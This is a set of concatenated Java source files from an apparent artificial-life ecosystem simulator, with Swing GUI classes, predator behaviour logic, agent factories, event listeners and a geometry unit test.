Configuration.loadConfiguration(loadedProperties); JOptionPane.showMessageDialog( parent, Configuration.toString(), "Properties successfully loaded", JOptionPane.INFORMATION_MESSAGE ); } catch (FileNotFoundException e1) { JOptionPane.showMessageDialog( parent, "Property file not found" + e1.getLocalizedMessage(), "Properties not loaded", JOptionPane.ERROR_MESSAGE ); } catch (IOException e1) { JOptionPane.showMessageDialog( parent, "Couldn't read your property file : " + e1.getLocalizedMessage(), "Properties not loaded", JOptionPane.ERROR_MESSAGE ); } } } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/ChangeBackgroundColor.java package org.blackpanther.ecosystem.gui.actions; import org.blackpanther.ecosystem.gui.WorldFrame; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor; /** * @author <NAME> * @version 27/05/11 */ public class ChangeBackgroundColor extends AbstractAction { private ChangeBackgroundColor(){ super("Change background color"); } private static class ChangeBackgroundColorHolder { private static final ChangeBackgroundColor instance = new ChangeBackgroundColor(); } public static ChangeBackgroundColor getInstance(){ return ChangeBackgroundColorHolder.instance; } @Override public void actionPerformed(ActionEvent e) { Color selectedColor = JColorChooser.showDialog( WorldFrame.getInstance(), "Choose agent identifier", Color.LIGHT_GRAY); if (selectedColor != null) { Monitor.setBackgroundColor(selectedColor); } } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/behaviour/BehaviorManager.java package org.blackpanther.ecosystem.behaviour; import org.blackpanther.ecosystem.Environment; import org.blackpanther.ecosystem.agent.Creature; import java.io.Serializable; /** * <p> * Strategy Pattern Design. * Agent's behavior delegate operations to this interface * to update at each cycle, and to interact with the {@link org.blackpanther.ecosystem.Environment} * and thus other {@link org.blackpanther.ecosystem.agent.Agent} * </p> * * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public interface BehaviorManager extends Serializable { /** * Update agent state in given {@link org.blackpanther.ecosystem.Environment} * * @param env environment in which the agent evolves * @param that monitored agent */ void update(Environment env, Creature that); } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/formatter/RangeModels.java package org.blackpanther.ecosystem.gui.formatter; import org.blackpanther.ecosystem.math.Geometry; import javax.swing.*; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public final class RangeModels { private RangeModels() { } //Domain : [|0,POS_INF|] public static SpinnerNumberModel generatePositiveIntegerModel() { return generateIntegerModel(0,Integer.MAX_VALUE); } public static SpinnerNumberModel generateIntegerModel(int min, int max) { return new SpinnerNumberModel( min, min, max, 1); } //Domain : [|0,POS_INF|] public static SpinnerNumberModel generatePositiveDoubleModel() { return generateDoubleModel(0.0, Double.MAX_VALUE); } //Domain : [|0,POS_INF|] public static SpinnerNumberModel generateDoubleModel() { return generateDoubleModel(null, null); } // Domain : Real public static SpinnerNumberModel generateDoubleModel(Double min, Double max) { return new SpinnerNumberModel( 0.0, min == null ? -Double.MAX_VALUE : min, max == null ? Double.MAX_VALUE : max, 1.0); } // Domain : [0.0,1.0] public static SpinnerNumberModel generatePercentageModel() { return new SpinnerNumberModel( 0.0, 0.0, 1.0, 0.1); } // Domain : [0.0,2PI] public static SpinnerNumberModel generateAngleModel() { return new SpinnerNumberModel( 0.0, 0.0, Geometry.PI_2.doubleValue(), 0.1); } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/GUIMonitor.java package org.blackpanther.ecosystem.gui; import org.blackpanther.ecosystem.Environment; import org.blackpanther.ecosystem.agent.Creature; import org.blackpanther.ecosystem.agent.Resource; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; import org.blackpanther.ecosystem.gui.actions.EnvironmentSaveBackup; import org.blackpanther.ecosystem.gui.commands.EnvironmentCommands; import org.blackpanther.ecosystem.gui.lightweight.EnvironmentInformation; import org.blackpanther.ecosystem.gui.settings.EnvironmentBoard; import java.awt.*; import java.awt.image.BufferedImage; import java.util.Collection; import static org.blackpanther.ecosystem.Configuration.*; import static org.blackpanther.ecosystem.helper.Helper.require; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public enum GUIMonitor { Monitor; private GraphicEnvironment drawPanel; private EnvironmentBoard environmentBoard; private EnvironmentCommands environmentCommandsPanel; /*========================================================================= REGISTER =========================================================================*/ public void registerEnvironmentCommandsPanel(EnvironmentCommands environmentCommands) { this.environmentCommandsPanel = environmentCommands; } public void registerDrawPanel(GraphicEnvironment panel) { this.drawPanel = panel; } public void registerEnvironmentInformationPanel(EnvironmentBoard environmentBoard) { this.environmentBoard = environmentBoard; } /*========================================================================= MESSAGES =========================================================================*/ /** * Update all panels that an environment has been removed */ public void removeEnvironment() { require(drawPanel != null); require(environmentBoard != null); drawPanel.unsetEnvironment(); environmentBoard.clearBoard(); environmentCommandsPanel.environmentUnset(); } /** * Update all panels that an environment has been set */ public void setCurrentEnvironment(Environment env) { require(drawPanel != null); require(environmentBoard != null); drawPanel.setEnvironment(env); environmentBoard.updateInformation( EnvironmentInformation.dump(env, EnvironmentInformation.State.NOT_YET_STARTED)); environmentBoard.updateInformation(Configuration); environmentCommandsPanel.environmentSet(); } public void updateSettingFields(FieldsConfiguration configuration) { require(environmentBoard != null); environmentBoard.updateInformation(Configuration); environmentBoard.updateInformation(configuration); } /** * Notify information panel of current environment state */ public void updateEnvironmentInformation(Environment env, EnvironmentInformation.State state) { require(environmentBoard != null); require(drawPanel != null); require(environmentCommandsPanel != null); environmentBoard.updateInformation(EnvironmentInformation.dump(env, state)); switch (state) { case PAUSED: case FROZEN: environmentCommandsPanel.notifyPause(); drawPanel.stopSimulation(); break; } } /** * Update evolution flow according to user interaction on evolution's button */ public void interceptEnvironmentEvolutionFlow(String buttonLabel) { require(drawPanel != null); if (buttonLabel.equals(EnvironmentCommands.START_ENVIRONMENT)) { drawPanel.runSimulation(); environmentBoard.notifyRun(); } else if (buttonLabel.equals(EnvironmentCommands.STOP_ENVIRONMENT)) { environmentBoard.notifyPause(); drawPanel.stopSimulation(); } } /** * Update panel option */ public void updateOption(int option, boolean activated) { require(drawPanel != null); drawPanel.setOption(option, activated); } public void toggleOption(int option) { require(drawPanel != null); drawPanel.setOption(option, !drawPanel.isActivated(option)); } public void paintBounds(boolean shouldBePainted) { updateOption(GraphicEnvironment.BOUNDS_OPTION, shouldBePainted); } public void paintResources(boolean shouldBePainted) { updateOption(GraphicEnvironment.RESOURCE_OPTION, shouldBePainted); } public void paintCreatures(boolean shouldBePainted) { updateOption(GraphicEnvironment.CREATURE_OPTION, shouldBePainted); } /** * delegator to fetch panel's image */ public BufferedImage dumpCurrentImage() { return drawPanel.dumpCurrentImage(); } /** * delegator to fetch panel's environment */ public Environment dumpCurrentEnvironment() { return drawPanel.dumpCurrentEnvironment(); } /** * delegator to fetch setting's configuration */ public FieldsConfiguration fetchConfiguration() { require(environmentBoard != null); return environmentBoard.createConfiguration(); } /** * Global pause action, * ordered by internal components */ public void pauseEvolution() { require(drawPanel != null); require(environmentBoard != null); require(environmentCommandsPanel != null); drawPanel.stopSimulation(); environmentBoard.notifyPause(); environmentCommandsPanel.notifyPause(); } /** * Set a new, clean environment */ public void resetEnvironment() { require(environmentBoard != null); removeEnvironment(); //pray for that instruction to make things more delightful System.gc(); environmentBoard.updateConfiguration(); Environment env = new Environment( Configuration.getParameter(SPACE_WIDTH, Double.class), Configuration.getParameter(SPACE_HEIGHT, Double.class) ); setCurrentEnvironment(env); } /** * delegator to set panel's background color */ public void setBackgroundColor(Color color) { require(drawPanel != null); drawPanel.applyBackgroundColor(color); } /** * delegator to set panel's agent drop mode */ public void setDropMode(GraphicEnvironment.DropMode mode) { require(drawPanel != null); drawPanel.setDropMode(mode); } public void addCreatures(Collection<Creature> creatures) { require(drawPanel != null); drawPanel.addCreatures(creatures); } public void addResources(Collection<Resource> creatures) { require(drawPanel != null); drawPanel.addResources(creatures); } public void makeBackup(Environment env) { EnvironmentSaveBackup.getInstance().backup( env, Configuration, environmentBoard.createConfiguration() ); } public FieldsConfiguration dumpFieldsConfiguration() { return environmentBoard.createConfiguration(); } public void updateLineWidthLinear(double value) { drawPanel.changeLineWidthLinear(value); } public void updateLineWidthExponential(double value) { drawPanel.changeLineWidthExponential(value); } public void changeColorRatio(double v) { drawPanel.changeRatio(v); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/fields/StateFieldMould.java package org.blackpanther.ecosystem.factory.fields; import org.blackpanther.ecosystem.factory.generator.ValueProvider; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class StateFieldMould<T> extends FieldMould<T> { public StateFieldMould(String name, ValueProvider<T> valueProvider) { super(name, valueProvider); } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/SettingField.java package org.blackpanther.ecosystem.gui.settings.fields; import org.blackpanther.ecosystem.factory.fields.FieldMould; import javax.swing.*; import java.awt.*; import static org.blackpanther.ecosystem.helper.Helper.createLabeledField; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011 */ public abstract class SettingField<T> extends JPanel { public static final Dimension CHECKBOX_DIMENSION = new Dimension(25, 50); public static final Dimension FIELD_DIMENSION = new Dimension(60, 50); protected SettingField(String name) { super(); initializeComponents(name); setLayout(new GridBagLayout()); placeComponents(this); } abstract protected void initializeComponents(String fieldName); protected void placeComponents(JPanel layout) { GridBagConstraints constraints = new GridBagConstraints(); constraints.ipadx = 20; constraints.fill = GridBagConstraints.HORIZONTAL; layout.add(createLabeledField( getMainComponent().getName(), getMainComponent() ), constraints); } public abstract JComponent getMainComponent(); abstract public void setValue(T newValue); abstract public T getValue(); abstract public FieldMould<T> toMould(); } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EnvironmentMonitor.java package org.blackpanther.ecosystem.event; import org.blackpanther.ecosystem.agent.Agent; import org.blackpanther.ecosystem.Environment; import java.awt.geom.Line2D; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.HashSet; import java.util.Iterator; import java.util.Set; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class EnvironmentMonitor implements Serializable { /** * Line's event listeners */ private Set<LineListener> lineListeners = new HashSet<LineListener>(); private Set<EvolutionListener> evolutionListeners = new HashSet<EvolutionListener>(); private Set<AgentListener> agentListeners = new HashSet<AgentListener>(); private Environment source; public EnvironmentMonitor(Environment sourceEnvironment) { this.source = sourceEnvironment; } /*========================================================================= SERIALIZATION =========================================================================*/ public void clearAllExternalsListeners(){ lineListeners.clear(); evolutionListeners.clear(); Iterator<AgentListener> it = agentListeners.iterator(); while (it.hasNext()) if (!(it.next() instanceof Environment)) it.remove(); } /*========================================================================= LISTENER HOOK =========================================================================*/ public void addAgentListener(AgentListener listener) { agentListeners.add(listener); } public void addLineListener(LineListener listener) { lineListeners.add(listener); } public void addEvolutionListener(EvolutionListener listener) { evolutionListeners.add(listener); } /*========================================================================= EVENT DELEGATE =========================================================================*/ public void fireAgentEvent(AgentEvent.Type eventType, Agent value) { AgentEvent event = new AgentEvent(eventType, source, value); for (AgentListener listener : agentListeners) { listener.update(event); } } public void fireLineEvent(LineEvent.Type eventType, Line2D value) { LineEvent event = new LineEvent(eventType, source, value); for (LineListener listener : lineListeners) { listener.update(event); } } public void fireEvolutionEvent(EvolutionEvent.Type eventType) { EvolutionEvent event = new EvolutionEvent(eventType, source); for (EvolutionListener listener : evolutionListeners) { listener.update(event); } } public void removeAgentListener(AgentListener listener) { agentListeners.remove(listener); } public void removeEvolutionListener(EvolutionListener listener) { evolutionListeners.remove(listener); } public void removeLineListener(LineListener listener) { lineListeners.remove(listener); } }<file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/randomable/Randomable.java package org.blackpanther.ecosystem.gui.settings.fields.randomable; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011 */ interface Randomable { public boolean isRandomized(); } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/generator/random/DoubleProvider.java package org.blackpanther.ecosystem.factory.generator.random; import org.blackpanther.ecosystem.Configuration; import org.blackpanther.ecosystem.factory.generator.RandomProvider; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class DoubleProvider extends RandomProvider<Double> { private double min; private double max; public DoubleProvider(double min, double max) { this.min = min; this.max = max; } @Override public Double getValue() { return min + Configuration.Configuration.getRandom().nextDouble() * (max - min); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/behaviour/PredatorBehaviour.java package org.blackpanther.ecosystem.behaviour; import org.blackpanther.ecosystem.Environment; import org.blackpanther.ecosystem.SenseResult; import org.blackpanther.ecosystem.SensorTarget; import org.blackpanther.ecosystem.agent.Agent; import org.blackpanther.ecosystem.agent.Creature; import java.awt.geom.Point2D; import java.util.Collection; import java.util.Iterator; import static java.lang.Math.PI; import static org.blackpanther.ecosystem.agent.Agent.CREATURE_GREED; import static org.blackpanther.ecosystem.agent.CreatureConstants.CREATURE_CONSUMMATION_RADIUS; import static org.blackpanther.ecosystem.math.Geometry.PI_2; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class PredatorBehaviour extends DraughtsmanBehaviour { private PredatorBehaviour(){} private static class PredatorBehaviourHolder { private static final PredatorBehaviour instance = new PredatorBehaviour(); } public static PredatorBehaviour getInstance(){ return PredatorBehaviourHolder.instance; } @Override protected void react(Environment env, Creature that, SenseResult analysis) { SensorTarget<Creature> closestPrey = getClosestPrey(that.getLocation(), analysis.getNearCreatures()); //run after closest prey if (closestPrey != null && closestPrey.getTarget().isAlive()) { //check if we can still move and reach the target double resourceDistance = that.getLocation().distance(closestPrey.getTarget().getLocation()); if (resourceDistance < that.getGene(CREATURE_CONSUMMATION_RADIUS, Double.class)) { //we eat it that.setEnergy(that.getEnergy() + closestPrey.getTarget().getEnergy()); that.setColor( ( that.getColor().getRed() + closestPrey.getTarget().getColor().getRed() ) / 2, ( that.getColor().getGreen() + closestPrey.getTarget().getColor().getGreen() ) / 2, ( that.getColor().getBlue() + closestPrey.getTarget().getColor().getBlue() ) / 2 ); closestPrey.getTarget().detachFromEnvironment(env); } //otherwise get closer else { double lust = that.getGene(CREATURE_GREED, Double.class); double alpha = (that.getOrientation() % PI_2); double beta = closestPrey.getOrientation(); double resourceRelativeOrientation = (beta - alpha); if (resourceRelativeOrientation > PI) resourceRelativeOrientation -= PI_2; else if (resourceRelativeOrientation < -PI) resourceRelativeOrientation += PI_2; double newOrientation = (alpha + resourceRelativeOrientation * lust) % PI_2; that.setOrientation(newOrientation); } } //their only goals is to eat agent, not resources } private SensorTarget<Creature> getClosestPrey(Point2D source, Collection<SensorTarget<Creature>> agents) { Iterator<SensorTarget<Creature>> it = agents.iterator(); SensorTarget<Creature> closest = null; double closestDistance = Double.MAX_VALUE; while (it.hasNext()) { SensorTarget<Creature> monster = it.next(); //detect only preys if (PreyBehaviour.class.isInstance( monster.getTarget() .getGene(Agent.CREATURE_BEHAVIOR, BehaviorManager.class))) { double distance = source.distance(monster.getTarget().getLocation()); if (closest == null) { closest = monster; closestDistance = distance; } else { if (distance < closestDistance) { closest = monster; closestDistance = distance; } } } } return closest; } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/Resource.java package org.blackpanther.ecosystem.agent; import org.blackpanther.ecosystem.Environment; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; import static org.blackpanther.ecosystem.factory.fields.FieldsConfiguration.checkResourceConfiguration; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class Resource extends Agent implements ResourceConstants { public Resource(FieldsConfiguration config) { super(config); checkResourceConfiguration(config); for (String stateTrait : BUILD_PROVIDED_RESOURCE_STATE) currentState.put(stateTrait, config.getValue(stateTrait)); for (String genotypeTrait : RESOURCE_GENOTYPE) { genotype.put(genotypeTrait, config.getValue(genotypeTrait)); mutableTable.put(genotypeTrait, config.isMutable(Resource.class, genotypeTrait)); } } /** * A resource don't update */ @Override public void update(Environment env) { } @Override public double getEnergy() { return getState(RESOURCE_ENERGY, Double.class); } @Override public void setEnergy(Double energy) { currentState.put(RESOURCE_ENERGY, energy < 0.0 ? 0.0 : energy); } @Override public Resource clone() { return (Resource) super.clone(); } @Override public String toString() { return super.toString(); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/ResourceFactory.java package org.blackpanther.ecosystem.factory; import org.blackpanther.ecosystem.agent.Resource; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class ResourceFactory extends EnvironmentFactory<Resource> { ResourceFactory() { } @Override public Resource createAgent(FieldsConfiguration config) { return new Resource(config); } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/app/Launcher.java package org.blackpanther.ecosystem.app; import org.blackpanther.ecosystem.gui.WorldFrame; import javax.swing.*; import java.io.IOException; import java.util.logging.LogManager; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011 */ public class Launcher { public static void main(String[] args) { //Show them our wonderful GUI createAndShowGUI(); } public static void createAndShowGUI() { try { LogManager.getLogManager().readConfiguration( Launcher.class.getClassLoader().getResourceAsStream("logging.properties") ); } catch (IOException e) { e.printStackTrace(); } SwingUtilities.invokeLater(new Runnable() { @Override public void run() { WorldFrame.getInstance().setVisible(true); WorldFrame.getInstance().validate(); } }); } }<file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/commands/EnvironmentCommands.java package org.blackpanther.ecosystem.gui.commands; import org.blackpanther.ecosystem.gui.GraphicEnvironment; import javax.swing.*; import javax.swing.border.EtchedBorder; import javax.swing.event.ChangeEvent; import javax.swing.event.ChangeListener; import java.awt.*; import java.awt.event.ActionListener; import java.beans.EventHandler; import static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class EnvironmentCommands extends JPanel { public static final String STOP_ENVIRONMENT = "Pause"; public static final String START_ENVIRONMENT = "Start"; public static final String NO_ENVIRONMENT = "No environment set"; public static final String FROZEN_ENVIRONMENT = "Environment frozen"; private JButton evolutionFlowButton; private JToggleButton noAction; private JToggleButton paintAgent; private JToggleButton paintResource; public EnvironmentCommands() { super(); setLayout(new FlowLayout()); JButton resetEnvironment = new JButton("Generate new environment"); evolutionFlowButton = new JButton(NO_ENVIRONMENT); noAction = new JToggleButton("No action"); paintAgent = new JToggleButton("Agent dropper"); paintResource = new JToggleButton("Resource dropper"); JSlider lineWidthLinear = new JSlider(1, 10, 1); JSlider lineWidthExponential = new JSlider(0, 10, 0); JSlider colorBlender = new JSlider(0, 1000000, 10000); ActionListener toggleListener = EventHandler.create( ActionListener.class, this, "updateDropMode", "source" ); lineWidthLinear.addChangeListener(EventHandler.create( ChangeListener.class, this, "updateLineWidthLinear", "" )); lineWidthExponential.addChangeListener(EventHandler.create( ChangeListener.class, this, "updateLineWidthExponential", "" )); colorBlender.addChangeListener(EventHandler.create( ChangeListener.class, this, "updateColorRatio", "" )); noAction.setSelected(true); noAction.addActionListener(toggleListener); paintAgent.addActionListener(toggleListener); paintResource.addActionListener(toggleListener); resetEnvironment.addActionListener(EventHandler.create( ActionListener.class, Monitor, "resetEnvironment" )); evolutionFlowButton.setEnabled(false); evolutionFlowButton.addActionListener(EventHandler.create( ActionListener.class, this, "switchStartPause" )); evolutionFlowButton.addActionListener(EventHandler.create( ActionListener.class, Monitor, "interceptEnvironmentEvolutionFlow", "source.text" )); add(noAction); add(paintAgent); add(paintResource); add(Box.createVerticalStrut(40)); add(resetEnvironment); add(evolutionFlowButton); add(Box.createVerticalStrut(40)); add(lineWidthLinear); add(lineWidthExponential); add(colorBlender); setBorder( BorderFactory.createEtchedBorder(EtchedBorder.RAISED) ); } public void updateLineWidthLinear(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); if (!source.getValueIsAdjusting()) { Monitor.updateLineWidthLinear(source.getValue()); } } public void updateLineWidthExponential(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); if (!source.getValueIsAdjusting()) { Monitor.updateLineWidthExponential(source.getValue() / 10.0); } } public void updateColorRatio(ChangeEvent e) { JSlider source = (JSlider) e.getSource(); if (!source.getValueIsAdjusting()) { Monitor.changeColorRatio(source.getValue() / 100.0); } } public void updateDropMode(JToggleButton button) { noAction.setSelected(false); paintAgent.setSelected(false); paintResource.setSelected(false); button.setSelected(true); GraphicEnvironment.DropMode mode = GraphicEnvironment.DropMode.NONE; if (noAction.isSelected()) { mode = GraphicEnvironment.DropMode.NONE; } else if (paintAgent.isSelected()) { mode = GraphicEnvironment.DropMode.AGENT; } else if (paintResource.isSelected()) { mode = GraphicEnvironment.DropMode.RESOURCE; } Monitor.setDropMode(mode); } public void switchStartPause() { if (evolutionFlowButton.getText() .equals(STOP_ENVIRONMENT)) { evolutionFlowButton.setText(START_ENVIRONMENT); } else if (evolutionFlowButton.getText() .equals(START_ENVIRONMENT)) { evolutionFlowButton.setText(STOP_ENVIRONMENT); } else { evolutionFlowButton.setText(NO_ENVIRONMENT); } } public void environmentSet() { evolutionFlowButton.setText(START_ENVIRONMENT); evolutionFlowButton.setEnabled(true); } public void environmentUnset() { evolutionFlowButton.setText(NO_ENVIRONMENT); evolutionFlowButton.setEnabled(false); } public void environmentFrozen() { evolutionFlowButton.setText(FROZEN_ENVIRONMENT); evolutionFlowButton.setEnabled(false); } public void notifyPause() { if (evolutionFlowButton.getText().equals(STOP_ENVIRONMENT)) { evolutionFlowButton.setText(START_ENVIRONMENT); } } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/generator/provided/IntegerProvider.java package org.blackpanther.ecosystem.factory.generator.provided; import org.blackpanther.ecosystem.factory.generator.StandardProvider; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class IntegerProvider extends StandardProvider<Integer> { public IntegerProvider(Integer provided) { super(provided); } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/WorldFrame.java package org.blackpanther.ecosystem.gui; import com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel; import org.blackpanther.ecosystem.gui.actions.*; import org.blackpanther.ecosystem.gui.commands.EnvironmentCommands; import org.blackpanther.ecosystem.gui.settings.EnvironmentBoard; import javax.imageio.ImageIO; import javax.swing.*; import java.awt.*; import java.io.IOException; import java.net.URL; import static org.blackpanther.ecosystem.Configuration.*; import static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class WorldFrame extends JFrame { public static final String ICON_PATH = "org/blackpanther/black-cat-icon.png"; public static final Image APPLICATION_ICON = fetchApplicationIcon(); private JCheckBox[] options; //Set UI Manager static { try { UIManager.setLookAndFeel( new NimbusLookAndFeel() ); } catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); } } private static Image fetchApplicationIcon() { try { URL resourceURL = WorldFrame.class.getClassLoader() .getResource(ICON_PATH); return ImageIO.read(resourceURL); } catch (IOException e) { e.printStackTrace(); return null; } } private WorldFrame() { super(); setTitle("GUI Ecosystem Evolution Visualizer"); if (APPLICATION_ICON != null) setIconImage(APPLICATION_ICON); GraphicEnvironment graphicEnvironment = new GraphicEnvironment(); Monitor.registerDrawPanel( graphicEnvironment ); EnvironmentBoard environmentBoard = new EnvironmentBoard(); Monitor.registerEnvironmentInformationPanel( environmentBoard ); EnvironmentCommands environmentCommands = new EnvironmentCommands(); Monitor.registerEnvironmentCommandsPanel( environmentCommands ); getContentPane().setLayout(new BorderLayout()); getContentPane().add( wrapComponent(environmentBoard, BorderLayout.WEST), BorderLayout.WEST ); getContentPane().add( graphicEnvironment, BorderLayout.CENTER ); getContentPane().add( wrapComponent(environmentCommands, BorderLayout.CENTER), BorderLayout.SOUTH ); setDefaultCloseOperation(EXIT_ON_CLOSE); pack(); setExtendedState(MAXIMIZED_BOTH); setJMenuBar(buildMenuBar()); Monitor.resetEnvironment(); } private static class WorldFrameHolder { private static final WorldFrame instance = new WorldFrame(); } public static WorldFrame getInstance() { return WorldFrameHolder.instance; } private JMenuBar buildMenuBar() { JMenuBar menuBar = new JMenuBar(); JMenu environment = new JMenu("Environment"); JMenu painting = new JMenu("Paint options"); environment.add(ConfigurationSave.getInstance()); environment.add(ConfigurationLoad.getInstance()); environment.addSeparator(); environment.add(EnvironmentSave.getInstance()); environment.add(EnvironmentSaveBackup.getInstance()); environment.addSeparator(); environment.add(EnvironmentLoad.getInstance()); environment.add(EnvironmentFromFile.getInstance()); environment.addSeparator(); environment.add(SaveImageAction.getInstance()); JCheckBox[] togglers = new JCheckBox[5]; for (int i = 0; i < togglers.length; i++) { togglers[i] = new JCheckBox(); togglers[i].setSelected(true); } togglers[0].setAction(ToggleBounds.getInstance()); togglers[1].setAction(ToggleCreatures.getInstance()); togglers[2].setAction(ToggleResources.getInstance()); togglers[3].setAction(ToggleLineObstruction.getInstance()); togglers[4].setAction(TogglePerlinNoise.getInstance()); //change whether option is activated or not togglers[3].setSelected( Configuration.getParameter(LINE_OBSTRUCTION_OPTION, Boolean.class)); togglers[4].setSelected( Configuration.getParameter(PERLIN_NOISE_OPTION, Boolean.class)); //keep a reference to them options = new JCheckBox[]{ togglers[3], togglers[4] }; painting.add(togglers[0]);//bounds painting.add(togglers[1]);//creatures painting.add(togglers[2]);//resources painting.addSeparator(); painting.add(togglers[3]);//line obstruction painting.add(togglers[4]);//perlin noise painting.addSeparator(); painting.add(ChangeBackgroundColor.getInstance()); menuBar.add(environment); menuBar.add(painting); return menuBar; } public void updateCheckBoxMenuItem(String checkboxName, boolean activated) { if (checkboxName.equals(LINE_OBSTRUCTION_OPTION)) options[0].setSelected(activated); else if (checkboxName.equals(PERLIN_NOISE_OPTION)) options[1].setSelected(activated); } /** * Convenience method.<br/> * Don't hate me because of the trick... */ private static JPanel wrapComponent(final Component c, final String flag) { return new JPanel(new BorderLayout()) {{ add(c, flag); }}; } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/generator/provided/LocationProvider.java package org.blackpanther.ecosystem.factory.generator.provided; import org.blackpanther.ecosystem.factory.generator.StandardProvider; import java.awt.geom.Point2D; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class LocationProvider extends StandardProvider<Point2D>{ public LocationProvider(Point2D provided) { super(provided); } } <file_sep>/ecosystem-framework/src/test/java/org/blackpanther/ecosystem/math/GeometryTester.java package org.blackpanther.ecosystem.math; import org.junit.Test; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import static org.blackpanther.ecosystem.math.Geometry.getIntersection; import static org.junit.Assert.*; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class GeometryTester { @Test public void intersectionPoint() { Point2D firstIntersection = new Point2D.Double(1.0, 1.0); Point2D secondIntersection = new Point2D.Double(1.0, 0.0); assertEquals( "Fail at basic intersection between " + "[(0.0,2.0),(2.0,0.0) & (0.0,0.0),(2.0,2.0)]", firstIntersection, getIntersection( new Line2D.Double(0.0, 2.0, 2.0, 0.0), new Line2D.Double(0.0, 0.0, 2.0, 2.0) ) ); assertEquals( "Fail at basic intersection between " + "[(0.0,1.0),(3.0,-2.0) & (0.0,0.0),(2.0,0.0)]", secondIntersection, getIntersection( new Line2D.Double(0.0, 1.0, 3.0, -2.0), new Line2D.Double(0.0, 0.0, 2.0, 0.0) ) ); assertNull( "Not intersection because liens are not infinite", getIntersection( new Line2D.Double(0.0, -2.0, 2.0, -2.0), new Line2D.Double(0.0, 1.0, 3.0, -2.0) ) ); assertNull( "Not intersection because liens are not infinite", getIntersection( new Line2D.Double(0.0, 1.0, 3.0, -2.0), new Line2D.Double(0.0, 0.0, 0.0, -2.0) ) ); assertNotNull( "???", getIntersection( new Line2D.Double(198.0, 383.73, 199.82, 377.18), new Line2D.Double(200.55, 383.55, 197.63, 377.72) ) ); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EvolutionEvent.java package org.blackpanther.ecosystem.event; import org.blackpanther.ecosystem.Environment; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class EvolutionEvent extends EnvironmentEvent { /** * Precise type of the event that happened */ public enum Type { STARTED, CYCLE_END, ENDED } private Type type; /** * Constructs a prototypical Event. * * @param source The object on which the Event initially occurred. * @throws IllegalArgumentException if source is null. */ public EvolutionEvent(Type eventType, Environment source) { super(source); this.type = eventType; } public Type getType() { return type; } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/EnvironmentAbstractFactory.java package org.blackpanther.ecosystem.factory; import org.blackpanther.ecosystem.agent.Agent; import org.blackpanther.ecosystem.agent.Creature; import org.blackpanther.ecosystem.agent.Resource; import java.util.HashMap; import java.util.Map; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class EnvironmentAbstractFactory { private EnvironmentAbstractFactory() { } private static final Map<Class, EnvironmentFactory> factoryRegister = new HashMap<Class, EnvironmentFactory>(2) {{ put(Creature.class, new CreatureFactory()); put(Resource.class, new ResourceFactory()); }}; @SuppressWarnings("unchecked") public static <T extends Agent> EnvironmentFactory<T> getFactory(Class<T> agentType) { return factoryRegister.get(agentType); } } 